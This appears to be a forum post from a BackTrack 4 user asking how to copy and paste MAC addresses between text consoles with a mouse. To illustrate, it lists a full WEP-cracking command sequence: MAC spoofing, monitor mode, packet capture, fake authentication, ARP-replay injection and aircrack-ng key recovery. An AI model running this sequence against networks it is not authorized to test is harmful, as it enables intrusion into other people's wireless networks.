Ok so my brain shut off for some reason and I can't think of a good way of searching the threads for this so I hope there isn't one already. But when you first fire up BT (i'm using BT4 PF) you are presented with a terminal I guess you can call it or console. You log in. Now I have seen in some past linux distros the ability to move a curser with a mouse and be able to highlight text. I was wondering how this is done. A friend told me you have to enable the mouse driver in console or something (cant remember it was a while ago he told me this) What I want to do is

1) Of course start Back|Track 4 Pre Final and log in

2)Setup wireless card
BT#ifconfig wlan0 down
BT#macchanger --mac AA:BB:CCD:EE:FF wlan0
BT#airmon-ng start wlan0
3)Run airodump-ng
BT#airodump-ng -c {Chan #} -w {output file} mon0
4)Run aireplay-ng to fake auth
BT#aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX -h AA:BB:CCD:EE:FF mon0
5)Gather IV's for WEP cracking
BT#aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h AA:BB:CCD:EE:FF mon0
6)Run Cap files thru Aircrack-ng
BT#aircrack-ng --bssid XX:XX:XX:XX:XX:XX *.cap > Cracked_WEP.txt
Now I wanted to be able to do all of this without even starting X. I want to start airodump in the first console hit Alt+F2 and run Aireplay and then run Aircrack in Alt+F3 However I don't want to type out the MAC each time. So i was wondering if there was a way to load the mouse driver so I can highlight/copy & paste the MAC address from Console 1 into my Aireplay in Console 2 and aircrack in console 3?

I hope i'm making sense. I'm not sure lol. Thanks in advance